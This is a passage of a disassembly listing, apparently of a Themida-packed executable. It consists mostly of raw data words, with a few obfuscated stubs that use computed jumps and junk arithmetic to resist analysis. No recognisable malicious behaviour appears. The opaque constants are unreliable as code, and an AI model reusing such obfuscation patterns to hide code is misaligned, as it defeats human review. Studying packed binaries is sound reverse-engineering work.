		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0AB68241Ch, 89000003h
		dd 68552414h, 2DB3C27h,	0E5C14D5Dh, 21B95108h, 12CC5B6h
		dd 0EB8959CDh, 663B685Dh, 24890000h, 24048124h,	4, 7FF8685Ah
		dd 4890000h, 8B824h, 0D0010000h, 0FF581889h, 815A2434h
		dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF894FCh, 5C339578h
		dd 0FF42A668h, 0B64D66D2h
; ---------------------------------------------------------------------------


loc_601E44:				; CODE XREF: Themida_:loc_601017j
		mov	eax, 801E97Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0B2h, 30h, 0A6h
		dd 0C7414E77h, 48355643h, 0B1047F3Ch, 0D9FC966h, 6A38CC5Fh
		dd 2A4F5207h, 0F3D83775h, 0B78FF15Eh, 3E482435h, 0E90E2B39h
		dd 0B3C41E0Ch, 7A2BF860h, 74C1E078h, 7969B04Ah,	47AFE631h
		dd 354A610Eh, 4B813D4Fh, 0C1C01006h, 0D2563F62h, 58BC2A55h
		dd 21C0B77Ah, 0EE80Ch, 0A5720000h, 823AC63Ch, 0AF39C932h
		dd 1DAB0340h, 0F5E6160h, 0C681DBB7h, 0DCC4h, 168C0Fh, 11E90000h
		dd 36000000h, 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h
		dd 8B66D22Bh, 3234FFDAh, 6D12B966h, 0C7BF0F5Fh,	9523C781h
		dd 0DB810AF2h, 1D2A12C5h, 8644EF81h, 8B666152h,	51EF81DAh
		dd 53646AD4h, 8959C28Ah, 11E8163Ch, 8D000000h, 881A20FCh
		dd 48052C30h, 0AB6B584Dh, 59152925h, 58C88B66h,	81C8B70Fh
		dd 178152EAh, 0DBBF0F05h, 814EC281h, 0FE80517h,	0FE000000h
		dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0D8806CD3h, 0FA8158BFh
		dd 0FFFF2428h, 1D850Fh,	8C0F0000h, 3, 0E9DBBF0Fh, 2Ah
		dd 98EF721Bh, 0AC0999B4h, 739CB39Fh, 0B074BC12h, 0FF5FE91Ch
		dd 28D3FFFFh, 0AED0ACACh, 5F292FAFh, 3347BB1h, 5910E73Fh
		dd 2EE9C2A4h, 5B000000h, 26659Dh, 0Ah dup(0)
		dd 50EE900h, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh
		dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h,	63C62AEh
		dd 0AEE4BA59h, 86B87DFh, 2E07E86Eh, 6CA711C8h, 0CF42A732h
		dd 27EC99CFh, 7E92E777h, 97E77A20h, 0EF14AC6Dh,	0B55BC307h
		dd 0BE570B08h, 9C2C55E0h, 0E6BC1D80h, 81EA43FFh, 1D8191F6h
		dd 0CE314D8Dh, 0F4FFE6BCh, 962F59Bh, 0E13216D0h, 0BC177A96h
		dd 0A83DFFE6h, 80A9346Ah, 0CB78AE17h, 0AAF41D45h, 48F0F05h
		dd 8F3C72DBh, 2D921D81h, 0C72CB7E7h, 63C8534Bh,	3C62B0B2h
		dd 0CDF648D3h, 70996B13h, 8292E7B6h, 0C268911Ch, 6DA3FB15h
		dd 6A13ABD5h, 74CD5C56h, 1E98019Dh, 2E62561Fh, 2FDC82F2h
		dd 7977EE4h, 5FEA537Ch,	0E6EBCD33h, 0D18BFCFFh,	74F792CAh
		dd 673038h, 0A7C10000h,	78A2326Ch, 3E1D5ADAh, 59EC9279h
		dd 0E772C82Dh, 1F7F92FFh, 7EE42F94h, 16A10A94h,	670FC9FAh
		dd 0F7FEB829h, 38757EBFh, 15Dh,	6BA7EE00h, 0CF43A833h
		dd 30DF44CFh, 829EDE6Eh, 0FFE6831Fh, 0B346EC45h, 8367215Ah
		dd 2A7F0F8Fh, 52EB9E5h,	9F74215Fh, 44456FFFh, 79B487E9h
		dd 0F2AC6308h, 5A983E67h, 346AA7A3h, 0D0CE44A9h, 8CE12945h
		dd 67901B83h, 0A28640C1h, 4A9F2F6Fh, 0F230D6C8h, 45D0CE45h
		dd 0E52D35E0h, 0A0C550B9h, 3F9EC808h, 6F288272h, 68AD107Ch
		dd 69D3FFE7h, 0D0458302h, 15BB24F3h, 8BD3DA94h,	293874F3h
		dd 6Ch,	346AA7BAh, 0CDD144A9h, 0F85133Dh, 1064F8C8h, 8D339C02h
		dd 0AE68A1FAh, 0C75747CAh, 76019D72h, 37A0FE11h, 6BA65391h
		dd 0CC43A833h, 0A12247D2h, 6498E0E7h, 5B363875h, 0C7000000h
		dd 0A9346AA7h, 47D2CC44h, 5D5C31E2h, 53E6A0BAh,	0E146D13Ah
		dd 7FE46F2Fh, 45860A94h, 75FE38Bh, 4D48ABC7h, 156EFFE7h
		dd 5034EE6Fh, 0F0A7DDC1h, 0C40D92BCh, 3BCFE750h, 742AE895h
		dd 0C957BDE9h, 0FE86FFE6h, 0C93FA2BEh, 0C65FFE6h, 242BE566h
		dd 3874D4ECh, 18Ah, 6EA71B00h, 4976A030h, 12028C10h, 0CD1DB056h
		dd 6CC329A3h, 3DE3EC8Fh, 901B8390h, 371BD5FEh, 0D9184DEh
		dd 0BAF05982h, 0A0303059h, 32D8C64Bh, 0FD207E9Ah, 0E53E07E0h
		dd 801EF55Ah, 0EC769D4Ah, 810C7529h, 0E0F6F055h, 4383DB07h
		dd 0E0F7C427h, 0F399F207h, 3FD4B872h, 5191295Fh, 0E0F7D235h
		dd 0A76B0007h, 0DA436CF7h, 0F7CB2E4Ah, 0A0F907E0h, 0D8C64DFAh
		dd 732BE84Dh, 0E19BCCE8h, 528816FDh, 6F034A82h,	12AE840h
		dd 0F3790000h, 1E3ACA96h, 7E0B8C8h, 8DF27DD6h, 4AE21886h
		dd 0B88BEE0Ah, 4E6A07E0h, 7E0B7EBh, 267FC019h, 5E40D380h
		dd 0F9A56ED3h, 6721526Eh, 0CBE79083h, 7E0B868h,	3CCC358Eh
		dd 0B87DE0FCh, 4AA307E0h, 8ECE66A4h, 59C5D939h,	7E0B7F6h
		dd 4D1DC31Ch, 406EC415h, 346AA7FCh, 40AD8Eh, 1D5D0000h
		dd 0E0AC9E01h, 0C56BC407h, 0C69AF30Eh, 83971A36h, 0E43D7FE6h
		dd 82CA2D59h, 7EA77FE6h, 0E0612CC4h, 0E68261C4h, 0CD368F7Fh
		dd 829E213Dh, 0EB44FFE6h, 49C81DB5h, 0FBA1CA55h, 8B14h
		dd 96F3AD00h, 0BAFA3ACAh, 0E6833B9Eh, 6A1069FFh, 0E09A8CF6h
		dd 85DA5A07h, 40A30F8Fh, 6607E099h, 0B419A40Dh,	71093F5Fh
		dd 1AA5F91Ch, 759E4BF1h, 0FA6F9929h, 40B13DE5h,	7CCC5F05h
		dd 20B0EE27h, 0E13AA104h, 0D076CF07h, 0E13AF45Ch, 0B46EAF07h
		dd 255B43D0h, 8487638Dh, 62450ECAh, 0BF4A54BDh,	0FA8FF096h
		dd 0B1BAD666h, 330FE329h, 29EA4FDAh, 2F58EA75h,	0B4ACDD75h
		dd 2240CF24h, 0FC25B0EEh, 3955ED93h, 17E3BF30h,	70275DB6h
		dd 0F4AA67BCh, 399A4069h, 40801050h, 0D63929EBh, 45B95FC8h
		dd 7E86E3Ch, 2186116Ah,	0C976ACF2h, 9DC9544Ah, 364CDA89h
		dd 0E6CA84BDh, 0A33B712Dh, 9E44763h, 0B912264Ch, 0F1AD6613h
		dd 900E0166h, 3569AB00h, 48DB81AAh, 0EFD38DB6h,	0CDD13E24h
		dd 7AB01942h, 62A2B8E2h, 77E623E5h, 467803FDh, 781E1CCAh
		dd 0CB5648CBh, 0B0EE267Bh, 0D98060Bh, 3573EE4h,	0F0000000h
		dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h,	0FF127702h
		dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h,	52528510h
		dd 0B850E289h, 66FE51D2h, 1AE3205h, 58C20199h, 8704EA83h
		dd 505C2414h, 405E089h,	2D000000h, 4, 5C240487h
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ebx, 186E726Fh
		shr	ebx, 6
		push	eax
		mov	eax, 39F81055h
		or	ebx, eax
		pop	eax
		shr	ebx, 8
		sub	ebx, 0F8380E28h
		push	1FE7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		push	ebx
		sub	dword ptr [esp], 37037132h
		pop	ebp
		add	ebp, 37037132h
		mov	[eax+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 0C8h, 0C0h, 34h
; ---------------------------------------------------------------------------
		mov	eax, 801F006h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 37h,	9Bh, 0F6h
		dd 32F8861Eh, 13202B20h, 74BA6039h, 2D83DA32h, 62991E1Ah
		dd 0FC8A5952h, 0A6CE6A71h, 624F7820h, 0B7BDA03h, 0C9810632h
		dd 0E0E9627Eh, 0E24D523Dh, 7F12FD58h, 9B9E8E72h, 51C5E66Bh
		dd 0CFCCE737h, 74CF4144h, 9824780Eh, 0C2DA7B7Bh, 0E27ED53h
		dd 0F1D63679h, 8E7B602Eh, 0F1267F3Ah, 0DE85Ah, 981B0000h
		dd 0B52CC010h, 0A1E4250Ch, 66A4A134h, 2F04C981h, 19810F5Fh
		dd 0E8000000h, 0Dh, 2CF0958Fh, 303502C5h, 9E5B5FB3h, 800FBEh
		dd 5B000000h, 6957C781h, 0C1810000h, 63C34709h,	0BEh, 12E800h
		dd 0BE550000h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
		dd 5BCEBF0Fh, 0E937048Bh, 0Ch, 0BB19D812h, 65F4EBA5h, 983655A5h
		dd 1469E881h, 7E85A38h,	99000000h, 9916B9EFh, 0C3806E4Bh
		dd 0C0815B5Ch, 6C1E12C6h, 3820Fh, 8B660000h, 0DC081D7h
		dd 0E9447DC6h, 6, 1963BB2Fh, 4893C2Ch, 0F2805037h, 0EE95B88h
		dd 18000000h, 4C511DFCh, 6E74DF28h, 0E5E77AACh,	2EE8367h
		dd 4EC2D980h, 13E94Eh, 0DEFE0000h, 0E5F2A002h, 9089A344h
		dd 27FAFF5Ah, 1042712Fh, 98FE81AAh, 0FFFFF97h, 0FFFF6F85h
		dd 2DBA66FFh, 12E81Bh, 0B9C50000h, 0E83AC46Ch, 3C98E737h
		dd 209FE34Bh, 5AFFFA67h, 0DE9h,	1680AB00h, 79589B22h, 0C2698E1h
		dd 8B5A1BECh, 0AAC281CEh, 6600005Eh, 0DB33C18Bh, 348BCF8Ah
		dd 81C38B1Ah, 51CC1AEEh, 0B860F4Fh, 0E9000000h,	6, 630B7343h
		dd 0F68104A9h, 0EEE0A4Dh, 81C7B70Fh, 0BFA2A2EEh, 28B0F51h
		dd 8B000000h, 0E95756CBh, 5, 7341B011h,	48F5921h, 23B5FC1Ah
		dd 6003EB83h, 12E9h, 8962800h, 2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h
		dd 662DED10h, 61A12BBFh, 0CCE9B94Bh, 0FB811033h, 0FFFFA214h
		dd 0FF88850Fh, 11E9FFFFh, 0DB000000h, 0F7736F4Ah, 29D59F3Eh
		dd 0AC9FFF25h, 0E280F755h, 0ECE9h, 0
		dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
		dd 0F200007Ch, 276h, 5 dup(0)
		dd 80ADA000h, 7Ch, 2Bh dup(0)
		dd 600h, 3CB02C00h, 11EF2232h, 314A9016h, 2455F7FEh, 6AAA416Ah
		dd 0AC061301h, 41A54848h, 1564063Dh, 74064432h,	0D8DBA153h
		dd 1561EB18h, 0A8E58147h, 129C5CABh, 457F5632h,	0ADA69A61h
		dd 15668C23h, 35AFC1BBh, 88EB25C8h, 129AF316h, 4D3D5BCDh
		dd 0DFFF9B1h, 616625C8h, 0AD354125h, 15668C23h,	35AFC1BBh
		dd 88EB25C8h, 129ACE21h, 4D3D5BCDh, 1569ADC7h, 0D21D2232h
		dd 0E1EB153Ah, 39EB24A5h, 0CB1E6AE2h, 1CE22D66h, 75661132h
		dd 15E187CAh, 74664432h, 46A5AB61h, 969E4A6Ah, 1494608Fh
		dd 9169443Ah, 15662257h, 156600DBh, 5147BE32h, 0B2D9A19Dh
		dd 0FF7EE539h, 0B8B00EB2h, 90EB3A79h, 1D672842h, 156631DBh
		dd 238BA32h, 1C9CC96Bh,	3273F37Dh, 9F53DE42h, 0BF6E9C62h
		dd 956958CDh, 15664433h, 0B5E3AFCEh, 0FC6E105Eh, 15668839h
		dd 931A8841h, 49107B60h, 0EA227B6Fh, 9969E8E2h,	15664437h
		dd 5021ED89h, 0CAED772Ah, 70E34E53h, 4361BE34h,	1567A93Dh
		dd 0EC9F1132h, 0BDDEDA5Ah, 0A099BDAEh, 129C02A7h, 156AF952h
		dd 0D1FC8832h, 1DEA1C6Ah, 0CABCE1E1h, 9B6949C4h, 15668832h
		dd 1563AD6Ch, 0E9042232h, 740488BDh, 0B6BB0DBFh, 956943CFh
		dd 1566223Eh, 156616DBh, 0B74DB032h, 416EB3DFh,	9C9FF2CDh
		dd 0EF6D94B7h, 0CAE7E835h, 5F8FEAB3h, 74A59D3Dh, 19B794F5h
		dd 15668FC8h, 1A8F4432h, 2D662232h, 1021ADC1h, 0AF9202C3h
		dd 0DA4F3B44h, 90A0AB37h, 129C1757h, 7C0E7077h,	0FCE8365Bh
		dd 15662239h, 14EE5025h, 0F6B0E540h, 0EAC8ABCAh, 0EF6E8787h
		dd 156AF835h, 0C5318832h, 0CBB216D1h, 8119692Ah, 90EBA0C0h
		dd 129CB2D0h, 156648DBh, 586BB432h, 0A88F72F9h,	1D72648h
		dd 0FCB6BBB0h, 1566223Dh, 0FB689E9h, 82794F2Ah,	948AB603h
		dd 9C2E820Ah, 0EF4CB8B7h, 7507E835h, 70E38253h,	5661D834h
		dd 1574F952h, 0FA408832h, 94722A7Eh, 3546A0A2h,	1AE1562Ch
		dd 24BF4D7Fh, 743DB3B9h, 720D7C5Ah, 0A099EDAEh,	129C8097h
		dd 156643DBh, 4CB98132h, 848F0E0Bh, 2F840DBFh, 0EA9E43C8h
		dd 1560CBE2h, 97DB1132h, 144F179h, 15664BDBh, 2F9F5232h
		dd 0E0D5B7F9h, 989FF5A3h, 6C713A25h, 0E7B6A7BBh, 99691933h
		dd 15668825h, 0FC391652h, 1566223Ch, 9E087CE8h,	1301D5Fh
		dd 52D5FFBh, 0D307AB0Fh, 0EF6074B7h, 128FDC35h,	9D664432h
		dd 5A9E618Ah, 3C0E0B1Eh, 1A88EA5Ah, 156645B1h, 0A099DA32h
		dd 129C1997h, 0F7E305CAh, 1A61BE08h, 156633B1h,	0A2697132h
		dd 156060E4h, 0FCC04432h, 0ED9EE4A8h, 0C599706Bh, 78F7052h
		dd 32664432h, 7819B8DAh, 0B338C33h, 33B23250h, 7BADA6F2h
		dd 90EF432Bh, 1D67E3E6h, 70E34EC7h, 5061BE34h, 156AA23Dh
		dd 94691132h, 15668834h, 1566CD3Dh, 0D70E2232h,	0FCBC710Ah
		dd 15668820h, 0FA7F609Dh, 65CE470Bh, 995A5A25h,	4C591D7Eh
		dd 0A09999EBh, 129C2A97h, 15661FDBh, 0FC995732h, 0CD8B1983h
		dd 0B7538608h, 987A2335h, 0EF5C6AB7h, 0C599B835h, 0CDE3ABCBh
		dd 1A6E10C0h, 156687BCh, 156CAD32h, 0C9962232h,	348BAD93h
		dd 44284F23h, 156ECE3Dh, 98692232h, 15661130h, 0A8E5E952h
		dd 129C77DFh, 0EE32D32h, 75661133h, 7596373Dh, 0D30725CEh
		dd 0EF6047B7h, 93695435h, 15668825h, 1577C33Dh,	198F2232h
		dd 0BB661132h, 0D95C38D6h, 7E57AA27h, 7DF06CC0h, 0EF466FB4h
		dd 15668FDBh, 2AFB9732h, 31C7723h, 1DC3A4CDh, 92698FC8h
		dd 15664438h, 156627DBh, 63D18B32h, 90EB9D00h, 129C7ED0h
		dd 1567A73Dh, 0EA9E1132h, 9869E8E2h, 15664430h,	0BEDF8E86h
		dd 740B4DAEh, 0E7BA0DBBh, 98694C33h, 15662233h,	70E3D7C7h
		dd 59617234h, 0C5A52CCEh, 0EA9EC214h, 0EF6EB487h, 156D6135h
		dd 0B86B4432h, 9F1536C2h, 495B64BCh, 0F7E30580h, 0FC61BE08h
		dd 15662226h, 98657343h, 5DEA903Bh, 37D09A78h, 0F9972D49h
		dd 12FA96BCh, 58F58CDh,	25664432h, 0C912A73Bh, 0A430A937h
		dd 0D5B99C1Eh, 9C00D417h, 1494C2B7h, 18F713Ah, 61668832h
		dd 7892372Ch, 3041522Ah, 91206E5Fh, 0B439D1DFh,	1A87196Fh
		dd 156620B4h, 743D4232h, 156672DBh, 1576AD32h, 9BE32232h
		dd 0E3FA594Ch, 0B725527Dh, 2B9DF1A7h, 90A07109h, 129C1757h
		dd 14E98760h, 0EC664432h, 5F822F5Ah, 108E718Eh,	0B7668832h
		dd 8AC41996h, 156629DAh, 49364232h, 805F3765h, 0F4651248h
		dd 94007869h, 74F86FF3h, 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h
		dd 1563F835h, 0FE658832h, 0EA74B108h, 156FCBE2h, 0AAC21132h
		dd 0CF45FD9Eh, 9C38068Dh, 1494FEB7h, 90A0ED3Ah,	129C8E57h
		dd 1A062460h, 156622B9h, 58E7032h, 0A4668832h, 0C9C1BE4Dh
		dd 0E66C2DFCh, 0D34F05C4h, 0FCDC4FFFh, 15664434h, 0E86ACF7Bh
		dd 7439312Ah, 592CC05Ah, 75932494h, 0AF007C60h,	7407F42Bh
		dd 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h, 0EA077135h, 7506E8E2h
		dd 15EB4B53h, 74662232h, 1A0670C7h, 15668EB2h, 15EC4B32h
		dd 73662232h, 9C07CBB9h, 149468B7h, 1563AD3Ah, 0FBFB2232h
		dd 0D38C03DBh, 0EF60EDB7h, 0A1061635h, 906943EFh, 1566113Eh
		dd 1560023Dh, 98694432h, 15662232h, 57D2FB5Ah, 0D2EDE8CFh
		dd 0FC3D1552h, 15662239h, 4D148BCFh, 197A9774h,	74161BD0h
		dd 0B0D3DD53h, 0E961EB3Ah, 2F840DBFh, 0EA9E43C8h, 90EFDEE2h
		dd 129C095Fh, 15668DDBh, 0FE320B32h, 90A05057h,	129C1757h
		dd 0B60E7145h, 7595D39Ah, 156633DAh, 0CE43DC32h, 539F6C8Fh
		dd 4BDAD8DCh, 0AE304090h, 0AA69DB0Ah, 0CBE7D3F2h, 3F887084h
		dd 0D3DD53h, 7561EB37h,	0C7E7EEC7h, 98070F7Dh, 0EF5CC0B7h
		dd 1574F835h, 939D8832h, 9E9B5525h, 0DC21D78h, 3769C713h
		dd 46B750E8h, 0D4E72252h, 0C5EDB5C4h, 1AB6EE53h, 15669FB8h
		dd 1574AD32h, 77A42232h, 19D59E04h, 50289B79h, 0FF126FD8h
		dd 0BCDF8AF6h, 30B94BBh, 95698FC8h, 15664433h, 1560CBC7h
		dd 0C2A61132h, 46A6B523h, 1303C1F4h, 0FC3425C8h, 15661121h
		dd 0AE360088h, 6C2CB150h, 778741B1h, 0B57B54A1h, 7DA646B5h
		dd 9FBB7525h, 156BA83Dh, 73061132h, 8B594FB3h, 1566CC3Dh
		dd 0EA072232h, 0EF6EB487h, 1DE98735h, 75664432h, 0BBADF8B3h
		dd 0FC075246h, 15668820h, 0DF5C399h, 21447BD4h,	0FA6A661Ah
		dd 201DE820h, 90EB338Dh, 129C18D0h, 15739F3Dh, 58F8832h
		dd 30664432h, 0E58F2E8Bh, 2213B922h, 5BC22DD8h,	0EA5DEDA2h
		dd 1B8F42E2h, 0D2661132h, 58707D34h, 0D977E0D4h, 0E729BC88h
		dd 749D9A98h, 4AB0DBBh,	198F43C8h, 9C662232h, 0C2F883FEh
		dd 78BDBD7Dh, 0D3D6A997h, 0EF6047B7h, 9E064735h, 749503E8h
		dd 0A0B7D5Ah, 0A099DEE6h, 129C31A7h, 0C8E305CAh, 7561B991h
		dd 156629DBh, 0FD025932h, 0C6940683h, 6700057Fh, 156636DAh
		dd 8DC91032h, 622B6946h, 72151BA9h, 2455DA25h, 37EF284h
		dd 4BA43DD8h, 0FCB6BB53h, 1566223Dh, 0C9D428F0h, 0D0B9B759h
		dd 4B928AE1h, 9CF234D8h, 0EF6664B7h, 3EF8735h, 75664432h
		dd 0FDA4A954h, 15661139h, 0F517B53Ah, 9B30CB81h, 4E3ADE7Bh
		dd 70E3D753h, 52617234h, 15664EDBh, 55DB7D32h, 64AFEB33h
		dd 7D0F7FE6h, 94BA5448h, 0DED12D52h, 574FC0B3h,	0EA079BF3h
		dd 0EF6EE187h, 48F4235h, 5E661132h, 0A7350081h,	86F39C6Ch
		dd 7E8C2714h, 995116AFh, 168C0954h, 90EB25D6h, 129C18D0h
		dd 75B6EECAh
		dd 0E5890954h, 0AC0013D5h, 743FF5AEh, 186B94BBh, 1B8F8FC8h
		dd 84664432h, 54B3850Bh, 0FBB73C6Ch, 59423C07h,	70E382BFh
		dd 5261D834h, 156601DBh, 3173EA32h, 27DD443Dh, 0F276971Ah
		dd 7C271769h, 0A084E033h, 9969CE3Dh, 1566223Eh,	156616DBh
		dd 5C4E0E32h, 0ECB8D334h, 1DC397CDh, 188F16C8h,	0B4668832h
		dd 4831DE62h, 4A533951h, 0CA2F05Fh, 2F840DBFh, 0EA9343C8h
		dd 1B8F42E2h, 68661132h, 0F7953E73h, 23E9D77Eh,	5AC375E0h
		dd 5D37121h, 90EFE953h,	1D67B732h, 4B354252h, 90A17053h
		dd 129C899Fh, 1566444Ah, 1567A03Dh, 96931132h, 0EF40798Fh
		dd 91694435h, 15663B97h, 156E9B3Dh, 1A068832h, 156644BBh
		dd 90A04332h, 129C1757h, 9E00E87Eh, 0D1AFC5C2h,	7477C5D4h
		dd 0CF7AF85Ah, 157761EBh, 4D9B4432h, 7E0C8889h,	0DDB6272Fh
		dd 4C618753h, 0EA4D1DA3h, 0EF6E8787h, 0DE21E35h, 0FC668832h
		dd 15664421h, 0AECCD07Dh, 0E4D8C16Eh, 0A08DCCDFh, 0B52AC43h
		dd 0FC8B4F81h, 15661137h, 64847EEBh, 0F7E3C90Dh, 0FC61D808h
		dd 1566113Ch, 2F0C1B6Bh, 1C06946Ch, 833E0067h, 0C599674Ah
		dd 0F9E301C7h, 0FC6E45C0h, 15662239h, 621B3EF1h, 0A64825F9h
		dd 0D300974Fh, 0EF6047B7h, 0A3065D35h, 0EF950916h, 7460D429h
		dd 61B8EC5Ah, 19E61EEFh, 1A668832h, 156642BFh, 15EC2D32h
		dd 0EA661132h, 0EF6E2D87h, 0CE54B35h, 0FC662232h, 15661126h
		dd 31167782h, 96B2290Ah, 614F007Eh, 0AD9831F2h,	4CEF325Bh
		dd 2F84C1BFh, 0EA9F25C8h, 90EFE8E2h, 1D677AC2h,	0D5D92252h
		dd 74E9930Eh, 0D2E77752h, 9E00969Fh, 90A025C9h,	129C2457h
		dd 18ED1E7Eh, 0FC668832h, 1566443Ah, 21E43EA7h,	0AED2737Ah
		dd 15669CDBh, 0ECC0A532h, 4339BA52h, 7AFAC2Ch, 0EAFD5FB8h
		dd 682A3047h, 97594AB4h, 9969A6B3h, 1566882Fh, 1575AC52h
		dd 692F2232h, 157D215Fh, 0E320D9E5h, 29734EF3h,	65FF0F64h
		dd 74064B8Ch, 0A0997D53h, 129C4C97h, 156636DBh,	2C533432h
		dd 59230F1h, 6095DBDEh,	555E8332h, 0B72054C0h, 0F7E30508h
		dd 0E961BE08h, 48FF2CDh, 7C661132h, 9D720FE4h, 785AFEC8h
		dd 0C00C76C2h, 41C64564h, 0E1E301CEh, 0FC6E45C0h, 15662222h
		dd 7712D227h, 9C1A8D1Ah, 7A997189h, 0D7B0C8ACh,	130394F4h
		dd 752A8FC8h, 36FCFA54h, 0D0E43C7h, 75D53E72h, 0EA0758B9h
		dd 0EF6EE187h, 19E82D35h, 0FC661132h, 15668835h, 193C533Bh
		dd 98586AF2h, 0EF5CF3B7h, 14E48735h, 0E9664432h, 1E8FF2CDh
		dd 1E661132h, 19123D16h, 0F2A0B768h, 90EFCE53h,	1D67E3C6h
		dd 9FD9E852h, 1A64C6BAh, 156622BFh, 0A2697032h,	90A0E9F5h
		dd 129C4257h, 10EDB74h,	1ADCCF34h, 156689BDh, 0A099B132h
		dd 129C2A97h, 15661EDBh, 0AC88E532h, 1D07C75h, 0F6175C5Bh
		dd 54F0124Fh, 15690B3Dh, 1F8F4432h, 51662232h, 4165CA11h
		dd 57C5EF4Dh, 0F7E3C9E8h, 0FC61D808h, 15661138h, 820F87B1h
		dd 8F07C9F9h, 0C5997FFCh, 156616DBh, 0EF98C32h,	0E35304C3h
		dd 0E79AA7BBh, 0D39E1933h, 0EF60EDB7h, 188F0335h, 0E3662232h
		dd 7A49D481h, 0EB508BCh, 960AFAB7h, 0C976585Ah,	14E51EB3h
		dd 0E0668832h, 1DC3F1CDh, 750625C8h, 63BDC6B3h,	4A36D0F8h
		dd 1568AC53h, 0AE232232h, 0FE52B233h, 0EA3046B7h, 1AFB67B4h
		dd 13E5C8B3h, 743C2AF8h, 2F840DBFh, 0EA9F43C8h,	1568CBE2h
		dd 0C61E1132h, 6E30AA01h, 7C9D3A21h, 0FA299339h, 0E66294BBh
		dd 1A8F8033h, 2C664432h, 0EEEBB778h, 2A9518A4h,	91958825h
		dd 0D39F7B8Ah, 0EF6047B7h, 1A065635h, 1A075985h, 156648B7h
		dd 13E12D32h, 1A661132h, 156688B2h, 9BCA2C32h, 9B69CDB5h
		dd 15661133h, 156961CAh, 3B044432h, 0C1F77808h,	401524E5h
		dd 2D6058A6h, 0B0D3BB5Dh, 7561D83Ah, 156618DAh,	0EAE3CA32h
		dd 95BE470Dh, 0AB001B0Fh, 1A3EA3B7h, 15668ABCh,	743D1632h
		dd 1572AA3Dh, 1A8F1132h, 4A668832h, 279C948Ah, 2C3E7963h
		dd 6991E07Ah, 90EB0F31h, 129C7ED0h, 1AB6DDCEh, 156610B7h
		dd 90EF7132h, 1D67B73Ah, 70E3E4CAh, 5261EB34h, 156685DBh
		dd 22AF8C32h, 3831483Ch, 79BF4762h, 0C70E46D6h,	0E9B2DE95h
		dd 1DC397CDh, 730616C8h, 0AA5F418Dh, 12C37EC8h,	0F7E3AF53h
		dd 0ED61EB08h, 0FD0658CDh, 1566443Ch, 934B67D1h, 0BC1EBED3h
		dd 8F572A1h, 0AA00969Ch, 733CADA9h, 9C07C2B9h, 149584B7h
		dd 90A0B83Ah, 129C2457h, 156DF875h, 73928832h, 232F3CFDh
		dd 0DF3E9416h, 940071AEh, 74A29CF2h, 0D45F405Ah, 0FE52D88h
		dd 75661132h, 48FD061h,	0F664432h, 12426F0Eh, 8F7CCBA6h
		dd 3685A73Bh, 7A52F35Ah, 0B0D3DD53h, 7561EB3Ah,	156685DBh
		dd 0AFE98332h, 44536F4Dh, 81F0ADA6h, 0AD003569h, 980721D2h
		dd 0EF5CC0B7h, 0C599E435h, 156698DBh, 2BFECD32h, 0D2D51A88h
		dd 75CEA402h, 0FF053E83h, 5E3CD8Bh, 0E96E23C1h,	347FACB1h
		dd 1A668FC8h, 1566DCB7h, 13ED2D32h, 75661132h, 0E5EDE952h
		dd 90A0BC53h, 129C2457h, 720EE975h, 1A86FA1Fh, 156645B2h
		dd 0A099DB32h, 129C1997h, 0F7E305CBh, 7561BE08h, 1565A63Dh
		dd 0A2691132h, 1E8FE9FAh, 40664432h, 5C17E64Bh,	1624D31Fh
		dd 0C5999E9Fh, 198F2452h, 96662232h, 53C36D73h,	84F64EB0h
		dd 0AFE2A080h, 75593919h, 156FF953h, 0D85E8832h, 629DC84Bh
		dd 1AF9A03Bh, 743DE88Dh, 0E6720DBBh, 9D694C33h,	15662227h
		dd 188FE452h, 0CA668832h, 3000FE36h, 0F44A2ED4h, 0E68F3027h
		dd 70E34E53h, 5261BE34h, 156627DBh, 0F7A96132h,	0A40E1D62h
		dd 0FCE86D81h, 15662226h, 205AB3DAh, 0A58FFF8h,	0B6FC70B6h
		dd 0D7B1F9B5h, 5FD1DFE6h, 1DC33DCDh, 9C6943C8h,	15662239h
		dd 156617DBh, 55149A32h, 98A7595Eh, 0EF5CC0B7h,	14E81E35h
		dd 0E9668832h, 1B8F94CDh, 78662232h, 8494A569h,	12D0F58Eh
		dd 41D99874h, 0DE3ABE9h, 756E10C1h, 0BCC5FB3h, 9400640Dh
		dd 7430DED5h, 130394F4h, 0EC258FC8h, 632CE35Ah,	9E0042F2h
		dd 740643EBh, 0A099E96Dh, 129C4C97h, 0F7E3AFCBh, 1A61EB08h
		dd 156692B0h, 1EA4B32h,	0FC662232h, 1566113Dh, 4925B4E2h
		dd 0C201F7EAh, 9DCAE69Ch, 0EAFA79B0h, 32E287E2h, 75664432h
		dd 15662BDAh, 6CB78F32h, 975ECB4Ah, 0FD3F6F0Ah,	15662222h
		dd 60CBA13Fh, 55A3F2A8h, 1676158Bh, 951B6C49h, 90EF7068h
		dd 1D677B2Eh, 5B24FE52h, 1C8F6985h, 10661132h, 0C28C7172h
		dd 2322A649h, 1574CB53h, 0C7FE1132h, 72A3334Bh,	48D228BBh
		dd 7623F340h, 63C4BBF1h, 13030DF4h, 0FC2A43C8h,	15662220h
		dd 0FA9EF2E4h, 4192849Ch, 40A49A0Ch, 76C5F41Fh,	0FE0EFCF3h
